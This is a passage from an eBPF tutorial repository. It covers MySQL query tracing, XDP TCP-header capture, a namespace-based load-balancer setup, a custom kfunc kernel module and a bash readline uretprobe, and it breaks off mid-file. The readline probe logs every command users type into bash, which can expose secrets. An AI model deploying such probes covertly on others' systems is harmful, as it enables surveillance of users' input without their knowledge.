查询执行时间最长。这对于性能调优以及优化数据库模式或索引策略至关重要。 97 | - **监控数据库性能**:定期监控查询的延迟,确保您的 MySQL 数据库在不同工作负载下保持最佳性能。 98 | - **调试和故障排除**:在面对性能问题时,这种跟踪方法可以帮助您准确定位导致延迟的查询,从而更容易调试和解决问题。 99 | - **容量规划**:通过了解各种查询的延迟,您可以更好地进行容量规划,确保您的 MySQL 数据库能够处理更高的负载或更复杂的查询。 100 | 101 | ## 结论 102 | 103 | eBPF 提供了一种强大的方法来监控和跟踪 MySQL 查询的性能,而无需对系统进行侵入式更改。通过使用 `bpftrace` 这样的工具,您可以实时了解数据库的性能表现,识别潜在的瓶颈,并优化系统以获得更好的性能。 104 | 105 | 如果您有兴趣了解更多关于 eBPF 的知识,以及如何将其用于监控和优化系统的其他部分,请访问我们的 [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) 或浏览我们的网站 [https://eunomia.dev/tutorials/](https://eunomia.dev/tutorials/) 获取更多示例和完整的教程。 106 | -------------------------------------------------------------------------------- /src/40-mysql/dispatch_command.bt: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bpftrace 2 | 3 | 4 | // Trace the dispatch_command function in MySQL 5 | uprobe:/usr/sbin/mysqld:dispatch_command 6 | { 7 | // Store the start time of the command execution in the map 8 | @start_times[tid] = nsecs; 9 | 10 | // Print the process ID and command string 11 | printf("MySQL command executed by PID %d: ", pid); 12 | 13 | // The third argument to dispatch_command is the SQL query string 14 | printf("%s\n", str(arg3)); 15 | } 16 | 17 | uretprobe:/usr/sbin/mysqld:dispatch_command 18 | { 19 | // Retrieve the start time from the map 20 | $start = @start_times[tid]; 21 | 22 | // Calculate the latency in milliseconds 23 | $delta = (nsecs - $start) / 1000000; 24 | 25 | // Print the latency 26 | printf("Latency: %u ms\n", $delta); 27 | 28 | // Delete the entry from the map to avoid memory leaks 29 | delete(@start_times[tid]); 30 | } 31 | -------------------------------------------------------------------------------- /src/41-xdp-tcpdump/.gitignore: -------------------------------------------------------------------------------- 1 | .output 2 | uprobe 3 | merge-btf 4 | *.btf 5 | xdp_lb 6 | xdp-tcpdump 7 | -------------------------------------------------------------------------------- /src/41-xdp-tcpdump/xdp-tcpdump.bpf.c: -------------------------------------------------------------------------------- 1 | #include "vmlinux.h" 2 | #include 3 | #include 4 | 5 | #define ETH_P_IP 0x0800 6 | 7 | // Define the ring buffer map 8 | struct { 9 | __uint(type, BPF_MAP_TYPE_RINGBUF); 10 | __uint(max_entries, 1 << 24); // 16 MB buffer 11 | } rb SEC(".maps"); 12 | 13 | // Helper function to check if the packet is TCP 14 | static bool is_tcp(struct ethhdr *eth, void *data_end) 15 | { 16 | // Ensure Ethernet header is within bounds 17 | if ((void *)(eth + 1) > data_end) 18 | return false; 19 | 20 | // Only handle IPv4 packets 21 | if (bpf_ntohs(eth->h_proto) != ETH_P_IP) 22 | return false; 23 | 24 | struct iphdr *ip = (struct iphdr *)(eth + 1); 25 | 26 | // Ensure IP header is within bounds 27 | if ((void *)(ip + 1) > data_end) 28 | return false; 29 | 30 | // Check if the protocol is TCP 31 | if (ip->protocol != IPPROTO_TCP) 32 | return false; 33 | 34 | return true; 35 | } 36 | 37 | SEC("xdp") 38 | int xdp_pass(struct xdp_md *ctx) 39 | { 40 | // Pointers to packet data 41 | void *data = (void *)(long)ctx->data; 42 | void *data_end = (void *)(long)ctx->data_end; 43 | 44 | // Parse Ethernet header 45 | struct ethhdr *eth = data; 46 | 47 | // Check if the packet is a TCP packet 48 | if (!is_tcp(eth, data_end)) { 49 | return XDP_PASS; 50 | } 51 | 52 | // Cast to IP header 53 | struct iphdr *ip = (struct iphdr *)(eth + 1); 54 | 55 | // Calculate IP header length 56 | int ip_hdr_len = ip->ihl * 4; 57 | if (ip_hdr_len < sizeof(struct iphdr)) { 58 | return XDP_PASS; 59 | } 60 | 61 | // Ensure IP header is within packet bounds 62 | if ((void *)ip + ip_hdr_len > data_end) { 63 | return XDP_PASS; 64 | } 65 | 66 | // Parse TCP header 67 | struct tcphdr *tcp = (struct tcphdr *)((unsigned char *)ip + ip_hdr_len); 68 | 69 | // Ensure TCP header is within packet bounds 70 | if ((void *)(tcp + 1) > data_end) { 71 | return XDP_PASS; 72 | } 73 | 74 | // Define the number of bytes you want to capture from the TCP header 75 | // Typically, the TCP header is 20 bytes, but with options, it can be longer 76 | // Here, we'll capture the first 32 bytes to include possible options 77 | const int tcp_header_bytes = 32; 78 | 79 | // Ensure that the desired number of bytes does not exceed packet bounds 80 | if ((void *)tcp + tcp_header_bytes > data_end) { 81 | return XDP_PASS; 82 | } 83 | 84 | // Reserve space in the ring buffer 85 | void *ringbuf_space = bpf_ringbuf_reserve(&rb, tcp_header_bytes, 0); 86 | if (!ringbuf_space) { 87 | return XDP_PASS; // If reservation fails, skip processing 88 | } 89 | 90 | // Copy the TCP header bytes into the ring buffer 91 | // Using a loop to ensure compliance with eBPF verifier 92 | for (int i = 0; i < tcp_header_bytes; i++) { 93 | // Accessing each byte safely within bounds 94 | unsigned char byte = *((unsigned char *)tcp + i); 95 | ((unsigned char *)ringbuf_space)[i] = byte; 96 | } 97 | 98 | // Submit the data to the ring buffer 99 | bpf_ringbuf_submit(ringbuf_space, 0); 100 | 101 | // Optional: Print a debug message (will appear in kernel logs) 102 | bpf_printk("Captured TCP header (%d bytes)", tcp_header_bytes); 103 | 104 | return XDP_PASS; 105 | } 106 | 107 | char __license[] SEC("license") = "GPL"; 108 | -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/.gitignore: -------------------------------------------------------------------------------- 1 | .output 2 | uprobe 3 | merge-btf 4 | *.btf 5 | xdp_lb 6 | -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/connect.md: -------------------------------------------------------------------------------- 1 | # Network setup for bpf-developer-tutorial 2 | 3 | In this tutorial, we will set up a simple network topology that simulates a load balancer using eBPF/XDP (Express Data Path). The setup includes a local machine, a load balancer (which can be enhanced with an XDP program), and two backend servers (`h2` and `h3`). The local machine routes packets to the load balancer, which then distributes traffic between the backend servers. 4 | 5 | # Simple XDP Load Balancer Tutorial 6 | 7 | This tutorial will guide you in setting up a simple virtual network to simulate a load balancer using eBPF/XDP. 8 | 9 | ## Network Topology 10 | 11 | ```txt 12 | +------------------+ 13 | | Local Machine | 14 | | IP: 10.0.0.1 | 15 | +--------+---------+ 16 | | 17 | +--------+---------+ 18 | | Load Balancer | 19 | | IP: 10.0.0.10 | 20 | +--------+---------+ 21 | | 22 | +-------+-------+ 23 | | | 24 | +---+---+ +---+---+ 25 | | h2 | | h3 | 26 | |10.0.0.2| |10.0.0.3| 27 | +-------+ +-------+ 28 | ``` 29 | 30 | - **Local Machine**: Simulates a client (`10.0.0.1`) sending traffic. 31 | - **Load Balancer**: Distributes traffic to backend servers (`10.0.0.10`). 32 | - **h2** and **h3**: Simulate backend servers (`10.0.0.2` and `10.0.0.3`). 33 | 34 | ### Setup Steps 35 | 36 | This script creates virtual network namespaces and sets up IP addresses for the local machine, load balancer, and backend servers. 37 | 38 | ```bash 39 | sudo ./setup.sh 40 | ``` 41 | 42 | To clean up the setup after testing: 43 | 44 | ```bash 45 | sudo ./teardown.sh 46 | ``` 47 | 48 | ### Testing the Network 49 | 50 | You can test the network connectivity using `ping` commands: 51 | 52 | Ping Between Backend Servers (`h2` to `h3`) 53 | 54 | ```bash 55 | sudo ip netns exec h2 ping -c 3 10.0.0.3 56 | ``` 57 | 58 | Ping from Backend Server (`h2`) to Load Balancer 59 | 60 | ```bash 61 | sudo ip netns exec h2 ping -c 3 10.0.0.10 62 | ``` 63 | 64 | Ping from Local Machine to Load Balancer 65 | 66 | ```bash 67 | ping -c 3 10.0.0.10 68 | ``` 69 | 70 | That's it! This simple setup lets you simulate a load balancer using eBPF/XDP. You can extend it by adding custom XDP programs to control the traffic distribution between `h2` and `h3`. 71 | -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/no-docker/xdp_pass.c: -------------------------------------------------------------------------------- 1 | #include "vmlinux.h" 2 | #include 3 | 4 | SEC("xdp") 5 | int xdp_pass(struct xdp_md* ctx) { 6 | void* data = (void*)(long)ctx->data; 7 | void* data_end = (void*)(long)ctx->data_end; 8 | int pkt_sz = data_end - data; 9 | 10 | bpf_printk("packet size is %d", pkt_sz); 11 | return XDP_PASS; 12 | } 13 | 14 | char __license[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/no-docker/xdp_pass.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yunwei37/bpf-developer-tutorial/9cfb6ba099b519143292f7c10a54811e3ad5049c/src/42-xdp-loadbalancer/no-docker/xdp_pass.o -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/teardown.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -xe 4 | 5 | rm_bridge () { 6 | if ip link show $1 &> /dev/null; then 7 | ip link set dev $1 down 8 | ip link delete $1 type bridge 9 | fi 10 | } 11 | 12 | rm_pair () { 13 | if ip link show $1 &> /dev/null; then 14 | ip link delete $1 type veth 15 | fi 16 | } 17 | 18 | rm_ns () { 19 | if ip netns list | grep -w "$1" &> /dev/null; then 20 | ip netns delete $1 21 | fi 22 | } 23 | 24 | # Remove bridge br0 25 | rm_bridge br0 26 | 27 | # Remove veth pairs 28 | rm_pair veth0 29 | rm_pair veth2 30 | rm_pair veth4 31 | rm_pair veth6 32 | 33 | # Remove namespaces 34 | rm_ns h2 35 | rm_ns h3 36 | rm_ns lb 37 | -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/xdp_lb.c: -------------------------------------------------------------------------------- 1 | // xdp_lb.c 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "xdp_lb.skel.h" // The generated skeleton 11 | 12 | struct backend_config { 13 | __u32 ip; 14 | unsigned char mac[6]; 15 | }; 16 | 17 | static int parse_mac(const char *str, unsigned char *mac) { 18 | if (sscanf(str, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", 19 | &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]) != 6) { 20 | fprintf(stderr, "Invalid MAC address format\n"); 21 | return -1; 22 | } 23 | return 0; 24 | } 25 | 26 | int main(int argc, char **argv) { 27 | if (argc != 6) { 28 | fprintf(stderr, "Usage: %s \n", argv[0]); 29 | return 1; 30 | } 31 | 32 | const char *ifname = argv[1]; 33 | struct backend_config backend[2]; 34 | 35 | // Parse backend 1 36 | if (inet_pton(AF_INET, argv[2], &backend[0].ip) != 1) { 37 | fprintf(stderr, "Invalid backend 1 IP address\n"); 38 | return 1; 39 | } 40 | if (parse_mac(argv[3], backend[0].mac) < 0) { 41 | return 1; 42 | } 43 | 44 | // Parse backend 2 45 | if (inet_pton(AF_INET, argv[4], &backend[1].ip) != 1) { 46 | fprintf(stderr, "Invalid backend 2 IP address\n"); 47 | return 1; 48 | } 49 | if (parse_mac(argv[5], backend[1].mac) < 0) { 50 | return 1; 51 | } 52 | 53 | // Load and attach the BPF program 54 | struct xdp_lb_bpf *skel = xdp_lb_bpf__open_and_load(); 55 | if (!skel) { 56 | fprintf(stderr, "Failed to open and load BPF skeleton\n"); 57 | return 1; 58 | } 59 | 60 | int ifindex = if_nametoindex(ifname); 61 | if (ifindex < 0) { 62 | perror("if_nametoindex"); 63 | xdp_lb_bpf__destroy(skel); 64 | return 1; 65 | } 66 | 67 | if (bpf_program__attach_xdp(skel->progs.xdp_load_balancer, ifindex) < 0) { 68 | fprintf(stderr, "Failed to attach XDP program\n"); 69 | xdp_lb_bpf__destroy(skel); 70 | return 1; 71 | } 72 | 73 | // Update backend configurations 74 | for (int i = 0; i < 2; i++) { 75 | if (bpf_map_update_elem(bpf_map__fd(skel->maps.backends), &i, &backend[i], 0) < 0) { 76 | perror("bpf_map_update_elem"); 77 | xdp_lb_bpf__destroy(skel); 78 | return 1; 79 | } 80 | } 81 | 82 | printf("XDP load balancer configured with backends:\n"); 83 | printf("Backend 1 - IP: %s, MAC: %s\n", argv[2], argv[3]); 84 | printf("Backend 2 - IP: %s, MAC: %s\n", argv[4], argv[5]); 85 | 86 | printf("Press Ctrl+C to exit...\n"); 87 | while (1) { 88 | sleep(1); // Keep the program running 89 | } 90 | 91 | // Cleanup and detach 92 | bpf_xdp_detach(ifindex, 0, NULL); 93 | xdp_lb_bpf__detach(skel); 94 | xdp_lb_bpf__destroy(skel); 95 | return 0; 96 | } 97 | -------------------------------------------------------------------------------- /src/42-xdp-loadbalancer/xx_hash.h: -------------------------------------------------------------------------------- 1 | #ifndef XXHASH_BPF_H 2 | #define XXHASH_BPF_H 3 | 4 | #define PRIME1 0x9E3779B1U 5 | #define PRIME2 0x85EBCA77U 6 | #define PRIME3 0xC2B2AE3DU 7 | #define PRIME4 0x27D4EB2FU 8 | #define PRIME5 0x165667B1U 9 | 10 | static __always_inline unsigned int rotl (unsigned int x, int r) { 11 | return ((x << r) | (x >> (32 - r))); 12 | } 13 | // Normal stripe processing routine. 14 | static __always_inline unsigned int round_xxhash(unsigned int acc, const unsigned int input) { 15 | return rotl(acc + (input * PRIME2), 13) * PRIME1; 16 | } 17 | 18 | static __always_inline unsigned int avalanche_step (const unsigned int h, const int rshift, const unsigned int prime) { 19 | return (h ^ (h >> rshift)) * prime; 20 | } 21 | // Mixes all bits to finalize the hash. 22 | static __always_inline unsigned int avalanche (const unsigned int h) { 23 | return avalanche_step(avalanche_step(avalanche_step(h, 15, PRIME2), 13, PRIME3), 16, 1); 24 | } 25 | 26 | static __always_inline unsigned int endian32 (const char *v) { 27 | return (unsigned int)((unsigned char)(v[0]))|((unsigned int)((unsigned char)(v[1])) << 8) 28 | |((unsigned int)((unsigned char)(v[2])) << 16)|((unsigned int)((unsigned char)(v[3])) << 24); 29 | } 30 | 31 | static __always_inline unsigned int fetch32 (const char *p, const unsigned int v) { 32 | return round_xxhash(v, endian32(p)); 33 | } 34 | 35 | // Processes the last 0-15 bytes of p. 36 | static __always_inline unsigned int finalize (const unsigned int h, const char *p, unsigned int len) { 37 | return 38 | (len >= 4) ? finalize(rotl(h + (endian32(p) * PRIME3), 17) * PRIME4, p + 4, len - 4) : 39 | (len > 0) ? finalize(rotl(h + ((unsigned char)(*p) * PRIME5), 11) * PRIME1, p + 1, len - 1) : 40 | avalanche(h); 41 | } 42 | 43 | static __always_inline unsigned int h16bytes_4 (const char *p, unsigned int len, const unsigned int v1, const unsigned int v2, const unsigned int v3, const unsigned int v4) { 44 | return 45 | (len >= 16) ? h16bytes_4(p + 16, len - 16, fetch32(p, v1), fetch32(p+4, v2), fetch32(p+8, v3), fetch32(p+12, v4)) : 46 | rotl(v1, 1) + rotl(v2, 7) + rotl(v3, 12) + rotl(v4, 18); 47 | } 48 | 49 | static __always_inline unsigned int h16bytes_3 (const char *p, unsigned int len, const unsigned int seed) { 50 | return h16bytes_4(p, len, seed + PRIME1 + PRIME2, seed + PRIME2, seed, seed - PRIME1); 51 | } 52 | 53 | static __always_inline unsigned int xxhash32 (const char *input, unsigned int len, unsigned int seed) { 54 | return finalize((len >= 16 ? h16bytes_3(input, len, seed) : seed + PRIME5) + len, (input) + (len & ~0xF), len & 0xF); 55 | } 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /src/43-kfuncs/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | ecc 9 | .output 10 | kfunc 11 | -------------------------------------------------------------------------------- /src/43-kfuncs/kfunc.bpf.c: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #define BPF_NO_GLOBAL_DATA 3 | #include 4 | #include 5 | #include 6 | 7 | typedef unsigned int u32; 8 | typedef unsigned long long u64; 9 | typedef int pid_t; 10 | 11 | extern int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) __ksym; 12 | 13 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 14 | 15 | SEC("kprobe/do_unlinkat") 16 | int handle_kprobe(void *ctx) 17 | { 18 | pid_t pid = bpf_get_current_pid_tgid() >> 32; 19 | char str[] = "Hello, world!"; 20 | char substr[] = "wor"; 21 | u32 result = bpf_strstr(str, sizeof(str) - 1, substr, sizeof(substr) - 1); 22 | if (result != -1) 23 | { 24 | bpf_printk("'%s' found in '%s' at index %d\n", substr, str, result); 25 | } 26 | bpf_printk("Hello, world! (pid: %d) bpf_strstr %d\n", pid, result); 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /src/43-kfuncs/kfunc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "kfunc.skel.h" // Include the generated skeleton header 8 | 9 | static volatile bool exiting = false; 10 | 11 | // Signal handler for graceful termination 12 | void handle_signal(int sig) { 13 | exiting = true; 14 | } 15 | 16 | int main(int argc, char **argv) { 17 | struct kfunc_bpf *skel; 18 | int err; 19 | 20 | // Handle SIGINT and SIGTERM for graceful shutdown 21 | signal(SIGINT, handle_signal); 22 | 23 | // Open the BPF application 24 | skel = kfunc_bpf__open(); 25 | if (!skel) { 26 | fprintf(stderr, "Failed to open BPF skeleton\n"); 27 | return 1; 28 | } 29 | 30 | // Load & verify the BPF program 31 | err = kfunc_bpf__load(skel); 32 | if (err) { 33 | fprintf(stderr, "Failed to load and verify BPF skeleton: %d\n", err); 34 | goto cleanup; 35 | } 36 | 37 | // Attach the BPF program (e.g., attach kprobe) 38 | err = kfunc_bpf__attach(skel); 39 | if (err) { 40 | fprintf(stderr, "Failed to attach BPF skeleton: %d\n", err); 41 | goto cleanup; 42 | } 43 | 44 | printf("BPF program loaded and attached successfully. Press Ctrl-C to exit.\n"); 45 | 46 | // Optionally, read the trace_pipe to see bpf_printk outputs 47 | FILE *trace_pipe = fopen("/sys/kernel/debug/tracing/trace_pipe", "r"); 48 | if (!trace_pipe) { 49 | perror("fopen trace_pipe"); 50 | // Continue without reading trace_pipe 51 | } 52 | 53 | // Main loop 54 | while (!exiting) { 55 | if (trace_pipe) { 56 | char buffer[256]; 57 | if (fgets(buffer, sizeof(buffer), trace_pipe)) { 58 | printf("%s", buffer); 59 | } else { 60 | if (errno == EINTR) 61 | break; 62 | } 63 | } else { 64 | // If trace_pipe is not available, just sleep 65 | sleep(1); 66 | } 67 | } 68 | 69 | if (trace_pipe) 70 | fclose(trace_pipe); 71 | 72 | cleanup: 73 | // Clean up and destroy the BPF program 74 | kfunc_bpf__destroy(skel); 75 | return err < 0 ? -err : 0; 76 | } 77 | -------------------------------------------------------------------------------- /src/43-kfuncs/module/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore object files and kernel modules 2 | *.o 3 | *.ko 4 | *.mod 5 | *.mod.c 6 | *.symvers 7 | *.order 8 | 9 | # Ignore temporary and backup files 10 | *~ 11 | *.bak 12 | *.tmp 13 | *.swp 14 | 15 | # Ignore build directory if generated 16 | /Module.symvers 17 | /Modules.markers 18 | /Module.markers 19 | /modules.order 20 | 21 | # Ignore other automatically generated files 22 | *.cmd 23 | .tmp_versions/ 24 | -------------------------------------------------------------------------------- /src/43-kfuncs/module/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += hello.o # hello.o is the target 2 | 3 | # Enable BTF generation 4 | KBUILD_CFLAGS += -g -O2 5 | 6 | all: 7 | # Compile the module with BTF information 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | 10 | clean: 11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 12 | -------------------------------------------------------------------------------- /src/43-kfuncs/module/README.md: -------------------------------------------------------------------------------- 1 | # write a basic kernel module 2 | 3 | ## hello world 4 | 5 | Writing a Linux kernel module involves creating code that can be loaded into and unloaded from the kernel dynamically, without rebooting the system. Here’s a simple step-by-step guide to help you write a basic kernel module: 6 | 7 | ### 1. Set Up Your Environment 8 | 9 | Make sure you have the Linux kernel headers installed and a suitable development environment ready. For Ubuntu or Debian, install them with: 10 | 11 | ```bash 12 | sudo apt-get install linux-headers-$(uname -r) build-essential 13 | ``` 14 | 15 | ### 2. Write the Kernel Module Code 16 | 17 | Here’s an example of a very basic Linux kernel module: 18 | 19 | ```c 20 | // hello.c: A simple Linux kernel module 21 | #include // Macros for module initialization 22 | #include // Core header for loading modules 23 | #include // Kernel logging macros 24 | 25 | // Function executed when the module is loaded 26 | static int __init hello_init(void) 27 | { 28 | printk(KERN_INFO "Hello, world!\n"); 29 | return 0; // Return 0 if successful 30 | } 31 | 32 | // Function executed when the module is removed 33 | static void __exit hello_exit(void) 34 | { 35 | printk(KERN_INFO "Goodbye, world!\n"); 36 | } 37 | 38 | // Macros to define the module’s init and exit points 39 | module_init(hello_init); 40 | module_exit(hello_exit); 41 | 42 | MODULE_LICENSE("GPL"); // License type (GPL) 43 | MODULE_AUTHOR("Your Name"); // Module author 44 | MODULE_DESCRIPTION("A simple module"); // Module description 45 | MODULE_VERSION("1.0"); // Module version 46 | ``` 47 | 48 | ### 3. Create a Makefile 49 | 50 | To compile the kernel module, you’ll need a `Makefile`. Here's a simple one: 51 | 52 | ```makefile 53 | obj-m += hello.o # hello.o is the target 54 | 55 | all: 56 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 57 | 58 | clean: 59 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 60 | ``` 61 | 62 | ### 4. Compile the Module 63 | 64 | Run the following command in the directory where your `hello.c` and `Makefile` are located: 65 | 66 | ```bash 67 | make 68 | ``` 69 | 70 | This will generate a file called `hello.ko`, which is the compiled kernel module. 71 | 72 | ### 5. Load the Module 73 | 74 | To insert the module into the kernel, use `insmod`: 75 | 76 | ```bash 77 | sudo insmod hello.ko 78 | ``` 79 | 80 | ### 6. Check the Logs 81 | 82 | To see the output from the `printk` statements, use the `dmesg` command: 83 | 84 | ```bash 85 | dmesg | tail 86 | ``` 87 | 88 | You should see something like: 89 | 90 | ```txt 91 | [ 1234.5678] Hello, world! 92 | ``` 93 | 94 | ### 7. Remove the Module 95 | 96 | To unload the module, use `rmmod`: 97 | 98 | ```bash 99 | sudo rmmod hello 100 | ``` 101 | 102 | Again, check the logs using `dmesg`: 103 | 104 | ```bash 105 | sudo dmesg | tail 106 | ``` 107 | 108 | You should see: 109 | 110 | ```txt 111 | [ 1234.9876] Goodbye, world! 112 | ``` 113 | 114 | ### 8. Clean Up 115 | 116 | To clean up the build files, run: 117 | 118 | ```bash 119 | make clean 120 | ``` 121 | 122 | ### Notes 123 | 124 | - **License**: The `MODULE_LICENSE("GPL")` ensures the module is GPL-compliant, which allows it to use symbols (functions) exported by the kernel. 125 | - **Debugging**: Use `printk` for logging within the module. It behaves similarly to `printf` but is designed for kernel space. 126 | - **Module Parameters**: You can add parameters to modules using `module_param()` to pass arguments when the module is loaded. 127 | 128 | ### Next Steps 129 | 130 | Once you are familiar with this basic example, you can explore: 131 | 132 | - Writing more advanced modules that interact with hardware or the filesystem. 133 | - Using kernel-specific APIs like work queues, kthreads, or handling interrupts. 134 | - Diving into eBPF or loadable kernel module techniques for debugging and tracing kernel events. 135 | -------------------------------------------------------------------------------- /src/43-kfuncs/module/compact.h: -------------------------------------------------------------------------------- 1 | // Compatible for lower kernel versions. No need in 6.11. 2 | #ifndef BTF_SET8_KFUNCS 3 | /* This flag implies BTF_SET8 holds kfunc(s) */ 4 | #define BTF_SET8_KFUNCS (1 << 0) 5 | #endif 6 | #ifndef BTF_KFUNCS_START 7 | #define BTF_KFUNCS_START(name) static struct btf_id_set8 __maybe_unused name = { .flags = BTF_SET8_KFUNCS }; 8 | #endif 9 | #ifndef BTF_KFUNCS_END 10 | #define BTF_KFUNCS_END(name) 11 | #endif 12 | -------------------------------------------------------------------------------- /src/43-kfuncs/module/hello.c: -------------------------------------------------------------------------------- 1 | #include // Macros for module initialization 2 | #include // Core header for loading modules 3 | #include // Kernel logging macros 4 | #include 5 | #include 6 | #include 7 | 8 | __bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz); 9 | 10 | /* Define a kfunc function */ 11 | __bpf_kfunc_start_defs(); 12 | 13 | __bpf_kfunc int bpf_strstr(const char *str, u32 str__sz, const char *substr, u32 substr__sz) 14 | { 15 | // Edge case: if substr is empty, return 0 (assuming empty string is found at the start) 16 | if (substr__sz == 0) 17 | { 18 | return 0; 19 | } 20 | // Edge case: if the substring is longer than the main string, it's impossible to find 21 | if (substr__sz > str__sz) 22 | { 23 | return -1; // Return -1 to indicate not found 24 | } 25 | 26 | // Iterate through the main string, considering the size limit 27 | for (size_t i = 0; i <= str__sz - substr__sz; i++) 28 | { 29 | size_t j = 0; 30 | // Compare the substring with the current position in the string 31 | while (j < substr__sz && str[i + j] == substr[j]) 32 | { 33 | j++; 34 | } 35 | // If the entire substring was found 36 | if (j == substr__sz) 37 | { 38 | return i; // Return the index of the first match 39 | } 40 | } 41 | // Return -1 if the substring is not found 42 | return -1; 43 | } 44 | 45 | __bpf_kfunc_end_defs(); 46 | 47 | BTF_KFUNCS_START(bpf_kfunc_example_ids_set) 48 | BTF_ID_FLAGS(func, bpf_strstr) 49 | BTF_KFUNCS_END(bpf_kfunc_example_ids_set) 50 | 51 | // Register the kfunc ID set 52 | static const struct btf_kfunc_id_set bpf_kfunc_example_set = { 53 | .owner = THIS_MODULE, 54 | .set = &bpf_kfunc_example_ids_set, 55 | }; 56 | 57 | // Function executed when the module is loaded 58 | static int __init hello_init(void) 59 | { 60 | int ret; 61 | 62 | printk(KERN_INFO "Hello, world!\n"); 63 | // Register the BTF kfunc ID set 64 | ret = register_btf_kfunc_id_set(BPF_PROG_TYPE_KPROBE, &bpf_kfunc_example_set); 65 | if (ret) 66 | { 67 | pr_err("bpf_kfunc_example: Failed to register BTF kfunc ID set\n"); 68 | return ret; 69 | } 70 | printk(KERN_INFO "bpf_kfunc_example: Module loaded successfully\n"); 71 | return 0; // Return 0 if successful 72 | } 73 | 74 | // Function executed when the module is removed 75 | static void __exit hello_exit(void) 76 | { 77 | // Unregister the BTF kfunc ID set 78 | // unregister_btf_kfunc_id_set(BPF_PROG_TYPE_UNSPEC, &bpf_kfunc_example_set); 79 | printk(KERN_INFO "Goodbye, world!\n"); 80 | } 81 | 82 | // Macros to define the module’s init and exit points 83 | module_init(hello_init); 84 | module_exit(hello_exit); 85 | 86 | MODULE_LICENSE("GPL"); // License type (GPL) 87 | MODULE_AUTHOR("Your Name"); // Module author 88 | MODULE_DESCRIPTION("A simple module"); // Module description 89 | MODULE_VERSION("1.0"); // Module version 90 | -------------------------------------------------------------------------------- /src/5-uprobe-bashreadline/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | ecli 4 | *.o 5 | *.skel.json 6 | *.skel.yaml 7 | package.yaml -------------------------------------------------------------------------------- /src/5-uprobe-bashreadline/bashreadline.bpf.c: -------------------------------------------------------------------------------- 1 | #define BPF_NO_GLOBAL_DATA 2 | #include 3 | #include 4 | #include 5 | 6 | #define TASK_COMM_LEN 16 7 | #define MAX_LINE_SIZE 80 8 | 9 | /* Format of u[ret]probe section definition supporting auto-attach: 10 | * u[ret]probe/binary:function[+offset] 11 | * 12 | * binary can be an absolute/relative path or a filename; the latter is resolved to a 13 | * full binary path via bpf_program__attach_uprobe_opts. 14 | * 15 | * Specifying uprobe+ ensures we carry out strict matching; either "uprobe" must be 16 | * specified (and auto-attach is not possible) or the above format is specified for 17 | * auto-attach. 18 | */ 19 | SEC("uretprobe//bin/bash:readline") 20 | int BPF_KRETPROBE(printret, const void *ret) 21 | { 22 | char str[MAX_LINE_SIZE]; 23 | char comm[TASK_COMM_LEN]; 24 | u32 pid; 25 | 26 | if (!ret) 27 | return 0; 28 | 29 | bpf_get_current_comm(&comm, sizeof(comm)); 30 | 31 | pid = bpf_get_current_pid_tgid() >> 32; 32 | bpf_probe_read_user_str(str, sizeof(str), ret); 33 | 34 | bpf_printk("PID %d (%s) read: %s ", pid, comm, str); 35 | 36 | return 0; 37 | }; 38 | 39 | char LICENSE[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /src/6-sigsnoop/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.wasm 4 | ewasm-skel.h 5 | ecli 6 | ewasm 7 | *.o 8 | *.skel.json 9 | *.skel.yaml 10 | package.yaml 11 | -------------------------------------------------------------------------------- /src/6-sigsnoop/sigsnoop.bpf.c: -------------------------------------------------------------------------------- 1 | #define BPF_NO_GLOBAL_DATA 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_ENTRIES 10240 7 | #define TASK_COMM_LEN 16 8 | 9 | struct event { 10 | unsigned int pid; 11 | unsigned int tpid; 12 | int sig; 13 | int ret; 14 | char comm[TASK_COMM_LEN]; 15 | }; 16 | 17 | struct { 18 | __uint(type, BPF_MAP_TYPE_HASH); 19 | __uint(max_entries, MAX_ENTRIES); 20 | __type(key, __u32); 21 | __type(value, struct event); 22 | } values SEC(".maps"); 23 | 24 | 25 | static int probe_entry(pid_t tpid, int sig) 26 | { 27 | struct event event = {}; 28 | __u64 pid_tgid; 29 | __u32 tid; 30 | 31 | pid_tgid = bpf_get_current_pid_tgid(); 32 | tid = (__u32)pid_tgid; 33 | event.pid = pid_tgid >> 32; 34 | event.tpid = tpid; 35 | event.sig = sig; 36 | bpf_get_current_comm(event.comm, sizeof(event.comm)); 37 | bpf_map_update_elem(&values, &tid, &event, BPF_ANY); 38 | return 0; 39 | } 40 | 41 | static int probe_exit(void *ctx, int ret) 42 | { 43 | __u64 pid_tgid = 